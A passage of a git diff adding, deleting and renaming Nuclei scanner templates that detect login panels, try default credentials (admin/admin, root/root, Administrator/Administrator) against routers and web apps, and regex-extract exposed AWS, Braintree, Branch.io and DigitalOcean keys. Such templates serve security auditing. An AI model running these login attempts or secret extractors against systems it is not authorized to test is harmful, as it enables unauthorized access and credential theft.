cwe-id: CWE-200 + metadata: + shodan-query: http.title:"Argo CD" + tags: panel,argocd,login,kubernetes + +requests: + - method: GET + path: + - "{{BaseURL}}/login" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Argo CD' + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/20 diff --git a/poc/auth/arl-default-login-537.yaml b/poc/auth/arl-default-login-537.yaml new file mode 100644 index 0000000000..bbadfab474 --- /dev/null +++ b/poc/auth/arl-default-login-537.yaml @@ -0,0 +1,44 @@ +id: arl-default-login + +info: + name: ARL Default Admin Login + author: pikpikcu + description: An ARL default admin login was discovered. + severity: high + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + tags: arl,default-login + +requests: + - raw: + - | + POST /api/user/login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json; charset=UTF-8 + + {"username":"{{username}}","password":"{{password}}"} + + payloads: + username: + - admin + password: + - arlpass + attack: pitchfork + + matchers-condition: and + matchers: + + - type: word + condition: and + words: + - '"message": "success"' + - '"username": "admin"' + - '"type": "login"' + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/22 diff --git a/poc/auth/arl-default-login-539.yaml b/poc/auth/arl-default-login-539.yaml deleted file mode 100644 index f5dcf2d27b..0000000000 --- a/poc/auth/arl-default-login-539.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: arl-default-login - -info: - name: ARL Default Admin Login - author: pikpikcu - severity: high - description: An ARL default admin login was discovered. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - tags: arl,default-login - -requests: - - raw: - - | - POST /api/user/login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json; charset=UTF-8 - - {"username":"{{username}}","password":"{{password}}"} - - payloads: - username: - - admin - password: - - arlpass - attack: pitchfork - - matchers-condition: and - matchers: - - - type: word - condition: and - words: - - '"message": "success"' - - '"username": "admin"' - - '"type": "login"' - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/22 diff --git a/poc/auth/arl-default-login-540.yaml b/poc/auth/arl-default-login-540.yaml index bbadfab474..f5dcf2d27b 100644 --- a/poc/auth/arl-default-login-540.yaml +++ b/poc/auth/arl-default-login-540.yaml @@ -3,8 +3,8 @@ id: arl-default-login info: name: ARL Default Admin Login author: pikpikcu - description: An ARL default admin login was discovered. severity: high + description: An ARL default admin login was discovered. classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 diff --git a/poc/auth/asus-rtn16-default-login.yaml b/poc/auth/asus-rtn16-default-login.yaml new file mode 100644 index 0000000000..6e555fad8a --- /dev/null +++ b/poc/auth/asus-rtn16-default-login.yaml @@ -0,0 +1,43 @@ +id: asus-rtn16-default-login + +info: + name: ASUS RT-N16 - Default Login + author: ritikchaddha + severity: high + description: | + ASUS RT-N16 contains a default login vulnerability. Default admin login password 'admin' was found. + metadata: + max-request: 1 + shodan-query: "RT-N16" + verified: true + tags: default-login,asus,rt-n16 + +http: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + + attack: pitchfork + payloads: + username: + - admin + password: + - admin + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'ASUS' + - 'RT-N16' + - 'System Status' + - 'Network Map' + condition: and + + - type: status + status: + - 200 +# digest: 4a0a00473045022100e5edc14dff54097d5cd074539630205b93a4e24cb03cb7e5fd3b70cae381045b022055263b212fe7e1e32e458b2613e266d061932ef673f26709afb626a3e3797b87:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/asus-wl500g-default-login.yaml b/poc/auth/asus-wl500g-default-login.yaml new file mode 100644 index 0000000000..1e874faedb --- /dev/null +++ b/poc/auth/asus-wl500g-default-login.yaml @@ -0,0 +1,47 @@ +id: asus-wl500g-default-login + +info: + name: ASUS WL-500G - Default Login + author: ritikchaddha + severity: high + description: | + ASUS WL-500 contains a default login vulnerability. Default admin login password 'admin' was found. + metadata: + max-request: 1 + shodan-query: "WL-500G" + verified: true + tags: default-login,asus,wl-500 + +http: + - raw: + - | + GET /index.asp HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + + attack: pitchfork + payloads: + username: + - admin + password: + - admin + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '401 Unauthorized' + negative: true + + - type: word + part: body + words: + - '"Main_Index_AccessPoint.asp' + - 'Main_List.asp' + condition: and + + - type: status + status: + - 200 +# digest: 4a0a0047304502206359a6512f7d913a8a6eaaa9e886376e8ff7c73119f7b6dcbef2d6175e2a2fc5022100e260842f0946002cb0728695b1832997d779927462b2f4deefd55da09193f5d2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/asus-wl520GU-default-login.yaml b/poc/auth/asus-wl520GU-default-login.yaml new file mode 100644 index 0000000000..a972e1e1c2 --- /dev/null +++ b/poc/auth/asus-wl520GU-default-login.yaml @@ -0,0 +1,42 @@ +id: asus-wl520GU-default-login + +info: + name: ASUS WL-520GU - Default Login + author: ritikchaddha + severity: high + description: | + ASUS WL-520GU contains a default login vulnerability. The default admin login password 'admin' was found. + metadata: + max-request: 1 + shodan-query: "WL-520GU" + verified: true + tags: default-login,asus,wl-520gu + +http: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + + attack: pitchfork + payloads: + username: + - admin + password: + - admin + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'ASUS' + - 'WL-520GU' + - "return 'Connected" + condition: and + + - type: status + status: + - 200 +# digest: 490a00463044022017c5ae1ae8978c04a3cb2dc914cbbfec2fb928e5f41a2a47fd176bfca251208a02203e93dc759abb343620866936cfc3cad973727bab49420ad7e0781524ca285cbf:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/atvise-login-590.yaml b/poc/auth/atvise-login-590.yaml new file mode 100644 index 0000000000..98c94c8046 --- /dev/null +++ b/poc/auth/atvise-login-590.yaml @@ -0,0 +1,34 @@ +id: atvise-login + +info: + name: Atvise Login Panel + author: idealphase + severity: info + description: An Atvise login panel was discovered. Atvise is a leading visualization and control center solutions based on pure web technology. + reference: + - https://www.exploit-db.com/ghdb/7837 + - https://www.atvise.com/en + classification: + cwe-id: CWE-200 + metadata: + max-request: 1 + google-query: intitle:"atvise - next generation" + tags: panel,atvise,edb + +http: + - method: GET + path: + - '{{BaseURL}}' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'atvise - next generation' + + - type: status + status: + - 200 + +# digest: 4a0a00473045022046f45b5efda97b4cdca000812fadc3f9e67735dfea13628cedcb33d682f10d88022100d023c7886c9448dd94d6282fdd6f6e0f35b2e77e465ef7359e62e0812328d21c:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/atvise-login.yaml b/poc/auth/atvise-login.yaml deleted file mode 100644 index bc58bf1715..0000000000 --- a/poc/auth/atvise-login.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: atvise-login - -info: - name: Atvise Login Panel - author: idealphase - severity: info - description: An Atvise login panel was discovered. Atvise is a leading visualization and control center solutions based on pure web technology. - reference: - - https://www.exploit-db.com/ghdb/7837 - - https://www.atvise.com/en - classification: - cwe-id: CWE-200 - metadata: - google-dork: intitle:"atvise - next generation" - tags: panel,atvise - -requests: - - method: GET - path: - - '{{BaseURL}}' - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'atvise - next generation' - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/20 diff --git a/poc/auth/avatier-password-management.yaml b/poc/auth/avatier-password-management.yaml new file mode 100644 index 0000000000..49cd4c37ae --- /dev/null +++ b/poc/auth/avatier-password-management.yaml @@ -0,0 +1,37 @@ +id: avatier-password-management + +info: + name: Avatier Password Management Panel + author: praetorian-thendrickson,iamthefrogy,dhiyaneshDK + severity: info + description: An Avatier password management panel was detected. + reference: + - https://www.exploit-db.com/ghdb/6576 + - https://www.avatier.com/products/identity-management/password-management/ + classification: + cwe-id: CWE-200 + metadata: + shodan-query: http.favicon.hash:983734701 + tags: panel,avatier,aims + +requests: + - method: GET + path: + - '{{BaseURL}}/aims/ps/' + + redirects: true + max-redirects: 2 + matchers-condition: or + matchers: + - type: word + words: + - 'LabelWelcomeToPS' + - 'Avatier Corporation' + - 'Welcome to Password Management' + condition: or + + - type: word + words: + - 'Password Management Client' + +# Enhanced by mp on 2022/03/20 diff --git a/poc/auth/aws-access-key-value-622.yaml b/poc/auth/aws-access-key-value-622.yaml index b942b0a23a..1448677b12 100644 --- a/poc/auth/aws-access-key-value-622.yaml +++ b/poc/auth/aws-access-key-value-622.yaml @@ -4,13 +4,19 @@ info: name: AWS Access Key ID Value author: Swissky severity: info - tags: exposure,token,aws,amazon requests: - method: GET path: - "{{BaseURL}}" + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" + extractors: - type: regex part: body diff --git a/poc/auth/aws-access-key-value-625.yaml b/poc/auth/aws-access-key-value-625.yaml new file mode 100644 index 0000000000..b942b0a23a --- /dev/null +++ b/poc/auth/aws-access-key-value-625.yaml @@ -0,0 +1,18 @@ +id: aws-access-key-value + +info: + name: AWS Access Key ID Value + author: Swissky + severity: info + tags: exposure,token,aws,amazon + +requests: + - method: GET + path: + - "{{BaseURL}}" + + extractors: + - type: regex + part: body + regex: + - "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" diff --git a/poc/auth/aws-opensearch-login-650.yaml b/poc/auth/aws-opensearch-login-650.yaml index ffd32b7e76..14f111d73a 100644 --- a/poc/auth/aws-opensearch-login-650.yaml +++ b/poc/auth/aws-opensearch-login-650.yaml @@ -5,7 +5,8 @@ info: author: Higor Melgaço (eremit4) severity: medium description: Searches for the AWS OpenSearch login page - reference: https://aws.amazon.com/pt/blogs/opensource/introducing-opensearch/ + reference: + - https://aws.amazon.com/pt/blogs/opensource/introducing-opensearch/ tags: panel,opensearch,aws requests: diff --git a/poc/auth/axiom-digitalocean-key-exposure-666.yaml b/poc/auth/axiom-digitalocean-key-exposure-666.yaml new file mode 100644 index 0000000000..589c0b408e --- /dev/null +++ b/poc/auth/axiom-digitalocean-key-exposure-666.yaml @@ -0,0 +1,41 @@ +id: axiom-digitalocean-key-exposure + +info: + name: DigitalOcean Key Exposure via Axiom + author: geeknik + severity: critical + description: Axiom is a dynamic infrastructure framework to efficiently work with multi-cloud environments. + reference: + - https://github.com/pry0cc/axiom + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cwe-id: CWE-425 + remediation: Restrict access to the do.json file or upgrade to a newer version of Axiom + tags: axiom,digitalocean,key,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/.axiom/accounts/do.json" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - '"do_key"' + - '"region"' + - '"provider"' + condition: and + + extractors: + - type: regex + part: body + regex: + - '\"do_key\"\: .*' + +# Enhanced by cs on 2022/02/28 diff --git a/poc/auth/axiom-digitalocean-key-exposure-667.yaml b/poc/auth/axiom-digitalocean-key-exposure-667.yaml index 6b242bc568..2f41c1bfe2 100644 --- a/poc/auth/axiom-digitalocean-key-exposure-667.yaml +++ b/poc/auth/axiom-digitalocean-key-exposure-667.yaml @@ -1,14 +1,22 @@ id: axiom-digitalocean-key-exposure info: - name: DigitalOcean key exposure via Axiom + name: DigitalOcean Key Exposure via Axiom author: geeknik severity: critical - description: Axiom is a dynamic infrastructure framework to efficiently work with multi-cloud environments, build and deploy repeatable infrastructure focussed on offensive and defensive security. - reference: https://github.com/pry0cc/axiom + description: Axiom is a dynamic infrastructure framework to efficiently work with multi-cloud environments. + remediation: Restrict access to the do.json file or upgrade to a newer version of Axiom + reference: + - https://github.com/pry0cc/axiom + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cwe-id: CWE-425 + metadata: + max-request: 1 tags: axiom,digitalocean,key,exposure -requests: +http: - method: GET path: - "{{BaseURL}}/.axiom/accounts/do.json" @@ -31,3 +39,5 @@ requests: part: body regex: - '\"do_key\"\: .*' + +# digest: 4a0a00473045022100a9e645db4ccad4bb4a2c55f77872fdef290db609004656d1d6a80c3c8681177e0220328845b85d9651ac0671ab1698e5c1b458c00f1b198e6b727ac209b93ef64c0c:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/axiom-digitalocean-key-exposure-668.yaml b/poc/auth/axiom-digitalocean-key-exposure-668.yaml index 589c0b408e..85a6008f52 100644 --- a/poc/auth/axiom-digitalocean-key-exposure-668.yaml +++ b/poc/auth/axiom-digitalocean-key-exposure-668.yaml @@ -5,14 +5,13 @@ info: author: geeknik severity: critical description: Axiom is a dynamic infrastructure framework to efficiently work with multi-cloud environments. - reference: - - https://github.com/pry0cc/axiom + remediation: Restrict access to the do.json file or upgrade to a newer version of Axiom + reference: https://github.com/pry0cc/axiom + tags: axiom,digitalocean,key,exposure classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cwe-id: CWE-425 - remediation: Restrict access to the do.json file or upgrade to a newer version of Axiom - tags: axiom,digitalocean,key,exposure requests: - method: GET diff --git a/poc/auth/azkaban-default-login.yaml b/poc/auth/azkaban-default-login-671.yaml similarity index 100% rename from poc/auth/azkaban-default-login.yaml rename to poc/auth/azkaban-default-login-671.yaml diff --git a/poc/auth/azkaban-default-login-673.yaml b/poc/auth/azkaban-default-login-673.yaml index c524be5d45..5d9e13ca58 100644 --- a/poc/auth/azkaban-default-login-673.yaml +++ b/poc/auth/azkaban-default-login-673.yaml @@ -1,53 +1,47 @@ -id: azkaban-default-login - -info: - name: Azkaban Web Client Default Credential - author: pussycat0x - severity: high - description: Azkaban is a batch workflow job scheduler created at LinkedIn to run Hadoop jobs. Default web client credentials were discovered. - reference: - - https://www.shodan.io/search?query=http.title%3A%22Azkaban+Web+Client%22 - classification: - cwe-id: CWE-798 - tags: default-login,azkaban - -requests: - - raw: - - | - POST / HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - - action=login&username={{username}}&password={{password}} - - payloads: - username: - - admin - password: - - admin - attack: pitchfork - matchers-condition: and - matchers: - - type: word - words: - - '"session.id"' - - '"success"' - condition: and - - - type: word - words: - - 'azkaban.browser.session.id' - - 'application/json' - condition: and - part: header - - - type: status - status: - - 200 - - extractors: - - type: kval - kval: - - azkaban.browser.session.id - -# Enhanced by mp on 2022/03/03 +id: azkaban-default-login + +info: + name: Azkaban Web Client Default Credential + author: pussycat0x + severity: high + reference: https://www.shodan.io/search?query=http.title%3A%22Azkaban+Web+Client%22 + tags: default-login,azkaban + +requests: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + action=login&username={{username}}&password={{password}} + + payloads: + username: + - admin + password: + - admin + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - '"session.id"' + - '"success"' + condition: and + + - type: word + words: + - 'azkaban.browser.session.id' + - 'application/json' + condition: and + part: header + + - type: status + status: + - 200 + + extractors: + - type: kval + kval: + - azkaban.browser.session.id diff --git a/poc/auth/basic-auth-detection-688.yaml b/poc/auth/basic-auth-detection-688.yaml index 6ec77642b9..b1d95275fc 100644 --- a/poc/auth/basic-auth-detection-688.yaml +++ b/poc/auth/basic-auth-detection-688.yaml @@ -1,23 +1,22 @@ -id: basic-auth-detection - -info: - name: Basic auth detection - author: w4cky_ - severity: info - tags: tech,basic-auth - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers-condition: and - matchers: - - type: status - status: - - 401 - - - type: word - words: - - "Www-Authenticate:" - part: header +id: basic-auth-detection + +info: + name: Basic auth detection + author: esetal + severity: info + tags: tech,basic-auth + description: improved version of nuclei-templates/technologies/basic-auth-detection.yaml + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: status + status: + - 401 + - type: dsl + dsl: + - contains(tolower(all_headers), 'www-authenticate') diff --git a/poc/auth/bazarr-login.yaml b/poc/auth/bazarr-login.yaml index e34b156b17..2330ff3e96 100644 --- a/poc/auth/bazarr-login.yaml +++ b/poc/auth/bazarr-login.yaml @@ -1,28 +1,18 @@ -id: bazarr-login-detect - -info: - name: Bazarr Login - Detect - author: r3dg33k - severity: info - description: Bazarr login page was detected. - reference: - - https://www.bazarr.media/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 - metadata: - max-request: 1 - tags: panel,bazarr,login - -http: - - method: GET - path: - - "{{BaseURL}}/login" - - matchers: - - type: word - words: - - 'Bazarr' - -# digest: 4b0a00483046022100e7bd377d94871e8d9910aea2f3d6fe73492335b463249e735f894bfb8b57c95b022100a7679a4fc0c21517338fd01767f35359d966a96f1ede97a544c78d9fb3868871:922c64590222798bb761d5b6d8e72950 +id: bazarr-login-detect + +info: + name: Bazarr Login Detect + author: r3dg33k + severity: info + reference: https://www.bazarr.media/ + tags: panel,bazarr,login + +requests: + - method: GET + path: + - "{{BaseURL}}/login" + + matchers: + - type: word + words: + - 'Bazarr' \ No newline at end of file diff --git a/poc/auth/beyondtrust-login-server-718.yaml b/poc/auth/beyondtrust-login-server-718.yaml index 43746ede00..3ac61f0d06 100644 --- a/poc/auth/beyondtrust-login-server-718.yaml +++ b/poc/auth/beyondtrust-login-server-718.yaml @@ -1,31 +1,31 @@ -id: beyondtrust-login-server +id: beyondtrust-login-server -info: - name: BeyondTrust PAM login Server - author: r3dg33k,nuk3s3c - severity: info - tags: beyondtrust,pam,panel +info: + name: BeyondTrust PAM login Server + author: r3dg33k,nuk3s3c + severity: info + tags: beyondtrust,pam,panel -requests: - - method: GET - path: - - '{{BaseURL}}/WebConsole/api/security/auth/loginServers' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: regex - regex: - - '"DomainName":"(.*)"' - - '"domains":' - condition: and - - extractors: - - type: json - part: body - json: - - ".domains[] | .DomainName" +requests: + - method: GET + path: + - '{{BaseURL}}/WebConsole/api/security/auth/loginServers' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: regex + regex: + - '"DomainName":"(.*)"' + - '"domains":' + condition: and + + extractors: + - type: json + part: body + json: + - ".domains[] | .DomainName" - ".domains[] | .ldapservers" \ No newline at end of file diff --git a/poc/auth/beyondtrust-login-server-719.yaml b/poc/auth/beyondtrust-login-server-719.yaml new file mode 100644 index 0000000000..43746ede00 --- /dev/null +++ b/poc/auth/beyondtrust-login-server-719.yaml @@ -0,0 +1,31 @@ +id: beyondtrust-login-server + +info: + name: BeyondTrust PAM login Server + author: r3dg33k,nuk3s3c + severity: info + tags: beyondtrust,pam,panel + +requests: + - method: GET + path: + - '{{BaseURL}}/WebConsole/api/security/auth/loginServers' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: regex + regex: + - '"DomainName":"(.*)"' + - '"domains":' + condition: and + + extractors: + - type: json + part: body + json: + - ".domains[] | .DomainName" + - ".domains[] | .ldapservers" \ No newline at end of file diff --git a/poc/auth/bigbluebutton-login-725.yaml b/poc/auth/bigbluebutton-login-725.yaml new file mode 100644 index 0000000000..5c06b01d1d --- /dev/null +++ b/poc/auth/bigbluebutton-login-725.yaml @@ -0,0 +1,34 @@ +id: bigbluebutton-login + +info: + name: BigBlueButton Login Panel + author: myztique + severity: info + description: A BigBlueButton login panel was detected. + reference: + - https://github.com/bigbluebutton/greenlight + classification: + cwe-id: CWE-200 + tags: panel,bigbluebutton + +requests: + - method: GET + path: + - '{{BaseURL}}' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'content="BigBlueButton' + + extractors: + - type: regex + part: body + name: version + group: 1 + regex: + - 'Greenlight<\/a>\. (.*)' + +# Enhanced by mp on 2022/03/23 diff --git a/poc/auth/bigbluebutton-login-726.yaml b/poc/auth/bigbluebutton-login-726.yaml deleted file mode 100644 index d9922131ed..0000000000 --- a/poc/auth/bigbluebutton-login-726.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: bigbluebutton-login - -info: - name: BigBlueButton Login Panel - author: myztique - severity: info - reference: https://github.com/bigbluebutton/greenlight - tags: panel,bigbluebutton - -requests: - - method: GET - path: - - '{{BaseURL}}' - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'content="BigBlueButton' - - extractors: - - type: regex - part: body - name: version - group: 1 - regex: - - 'Greenlight<\/a>\. (.*)' diff --git a/poc/auth/blue-iris-login-751.yaml b/poc/auth/blue-iris-login-751.yaml deleted file mode 100644 index 4a1e4acd08..0000000000 --- a/poc/auth/blue-iris-login-751.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: blue-iris-login - -info: - name: Blue Iris Login - author: dhiyaneshDK - severity: info - description: A Blue Iris login panel was detected. - reference: - - https://www.exploit-db.com/ghdb/6814 - - https://blueirissoftware.com/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0.0 - cwe-id: CWE-200 - tags: panel,blue-iris - -requests: - - method: GET - path: - - '{{BaseURL}}/login.htm' - - matchers-condition: and - matchers: - - type: word - words: - - 'Blue Iris Login' - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/23 diff --git a/poc/auth/blue-iris-login-754.yaml b/poc/auth/blue-iris-login-754.yaml new file mode 100644 index 0000000000..224b1d1b46 --- /dev/null +++ b/poc/auth/blue-iris-login-754.yaml @@ -0,0 +1,22 @@ +id: blue-iris-login + +info: + name: Blue Iris Login + author: dhiyaneshDK + severity: info + reference: https://www.exploit-db.com/ghdb/6814 + tags: panel + +requests: + - method: GET + path: + - '{{BaseURL}}/login.htm' + + matchers-condition: and + matchers: + - type: word + words: + - 'Blue Iris Login' + - type: status + status: + - 200 diff --git a/poc/auth/blue-iris-login.yaml b/poc/auth/blue-iris-login.yaml index 224b1d1b46..154d0ba968 100644 --- a/poc/auth/blue-iris-login.yaml +++ b/poc/auth/blue-iris-login.yaml @@ -1,13 +1,23 @@ id: blue-iris-login info: - name: Blue Iris Login - author: dhiyaneshDK + name: Blue Iris Login Panel - Detect + author: dhiyaneshDK,idealphase severity: info - reference: https://www.exploit-db.com/ghdb/6814 - tags: panel + description: Blue Iris login panel was detected. + reference: + - https://www.exploit-db.com/ghdb/6814 + - https://blueirissoftware.com/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 1 + shodan-query: http.title:"Blue Iris Login" + tags: panel,blueiris,edb -requests: +http: - method: GET path: - '{{BaseURL}}/login.htm' @@ -17,6 +27,15 @@ requests: - type: word words: - 'Blue Iris Login' + - type: status status: - 200 + + extractors: + - type: regex + group: 1 + regex: + - 'var bi_version = "(.*)";' + +# digest: 4b0a00483046022100b39c8aa2272e2a5ba6f3e17d7f238c776bef3fee2a72f2bc8ef488494fe1cfcf022100c48a4a0f4b3967dc4784f56642f0ebe9c67796acfd715ce60781b99f31556c69:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/bmc-remedy-sso-panel.yaml b/poc/auth/bmc-remedy-sso-panel.yaml new file mode 100644 index 0000000000..b872e66d2a --- /dev/null +++ b/poc/auth/bmc-remedy-sso-panel.yaml @@ -0,0 +1,31 @@ +id: bmc-remedy-sso-panel + +info: + name: BMC Remedy SSO Login Panel - Detect + author: righettod + severity: info + description: | + BMC Remedy Single Sign-On domain data entry login panel was detected. + reference: + - https://www.bmc.com/it-solutions/remedy-itsm.html + metadata: + verified: true + max-request: 2 + shodan-query: http.title:"BMC Remedy Single Sign-On domain data entry" + tags: panel,bmc,login,detect + +http: + - method: GET + path: + - "{{BaseURL}}/arsys/" + - "{{BaseURL}}/webUI/userHome.do" + + stop-at-first-match: true + + matchers: + - type: dsl + dsl: + - 'status_code == 200' + - 'contains(to_lower(body), "bmc remedy single sign-on domain data entry")' + condition: and +# digest: 4b0a00483046022100a8bf1cc83392001186b717e3a336510cfb642a7f36fa1a5ad9bc33b1469ccbf4022100a49d23890aacc49884c921ccd9887487fa7507997b020eb823845d1d3957adde:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/braintree-access-token-771.yaml b/poc/auth/braintree-access-token-773.yaml similarity index 100% rename from poc/auth/braintree-access-token-771.yaml rename to poc/auth/braintree-access-token-773.yaml diff --git a/poc/auth/braintree-access-token.yaml b/poc/auth/braintree-access-token.yaml deleted file mode 100644 index cc50596326..0000000000 --- a/poc/auth/braintree-access-token.yaml +++ /dev/null @@ -1,17 +0,0 @@ -id: braintree-access-token - -info: - name: PayPal Braintree Access Token Disclosure - author: Ice3man - severity: info - tags: exposure,token,paypal - -requests: - - method: GET - path: - - "{{BaseURL}}" - extractors: - - type: regex - part: body - regex: - - 'access_token\$production\$[0-9a-z]{16}\$[0-9a-f]{32}' diff --git a/poc/auth/branch-key-775.yaml b/poc/auth/branch-key-774.yaml similarity index 100% rename from poc/auth/branch-key-775.yaml rename to poc/auth/branch-key-774.yaml diff --git a/poc/auth/branch-key.yaml b/poc/auth/branch-key.yaml index 1b63de346f..14efab44d2 100644 --- a/poc/auth/branch-key.yaml +++ b/poc/auth/branch-key.yaml @@ -1,12 +1,17 @@ id: branch-key info: - name: Branch.io Live Key + name: Branch.io Live Key - Detect author: 0xh7ml severity: info - reference: https://github.com/BranchMetrics/android-branch-deep-linking-attribution/issues/74 + description: Branch.io live key token was detected. + reference: + - https://github.com/BranchMetrics/android-branch-deep-linking-attribution/issues/74 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 tags: token,file - file: - extensions: - all @@ -15,3 +20,6 @@ file: - type: regex regex: - "key_live_.{32}" + +# Enhanced by md on 2023/05/04 +# digest: 4a0a00473045022100f744edb25f959b276258779576a4f1fb240844fb339af77b5dbb8701453f3257022000c9a3d5ea7358604a0ef75214afb271b0a9932f53f7822a4285e8fcd67a609c:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/brother-unauthorized-access-793.yaml b/poc/auth/brother-unauthorized-access-792.yaml similarity index 100% rename from poc/auth/brother-unauthorized-access-793.yaml rename to poc/auth/brother-unauthorized-access-792.yaml diff --git a/poc/auth/businessintelligence-default-login-817.yaml b/poc/auth/businessintelligence-default-login-817.yaml new file mode 100644 index 0000000000..a89df1808c --- /dev/null +++ b/poc/auth/businessintelligence-default-login-817.yaml @@ -0,0 +1,45 @@ +id: oracle-business-intelligence-login + +info: + name: Oracle Business Intelligence Default Login + author: milo2012 + severity: high + tags: oracle,default-login + +requests: + - raw: + - | + POST /xmlpserver/services/XMLPService HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/xml + SOAPAction: "" + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + + <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:rep="http://xmlns.oracle.com/oxp/service/report"> + <soapenv:Header/> + <soapenv:Body> + <rep:createSession soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> + <username xsi:type="xsd:string">{{username}}</username> + <password xsi:type="xsd:string">{{password}}</password> + <domain xsi:type="xsd:string">bi</domain> + </rep:createSession> + </soapenv:Body> + </soapenv:Envelope> + + payloads: + username: + - Administrator + password: + - Administrator + attack: pitchfork + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - 'createSessionReturn' + part: body diff --git a/poc/auth/businessintelligence-default-login-816.yaml b/poc/auth/businessintelligence-default-login.yaml similarity index 100% rename from poc/auth/businessintelligence-default-login-816.yaml rename to poc/auth/businessintelligence-default-login.yaml diff --git a/poc/auth/cambium-networks-default-login.yaml b/poc/auth/cambium-networks-default-login.yaml new file mode 100644 index 0000000000..eeacaeb7fa --- /dev/null +++ b/poc/auth/cambium-networks-default-login.yaml @@ -0,0 +1,44 @@ +id: cambium-networks-default-login + +info: + name: Canopy 5.7GHz Access Point - Default Login + author: defektive + severity: high + description: | + Cambium Networks / Motorola Canopy 5750AP ADVANTAGE Access Point 5.7GHz login credentials were discovered. + metadata: + verified: true + max-request: 1 + fofa-query: title="Welcome to Canopy" + tags: default-login,cambium,canopy + +http: + - raw: + - | + POST /login.cgi HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + &Session=0&CanopyUsername={{username}}&CanopyPassword={{password}}&login=Login&webguisubmit=submit + + attack: pitchfork + payloads: + username: + - root + - admin + password: + - root + - admin + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Logged in as root" + + - type: status + status: + - 200 +# digest: 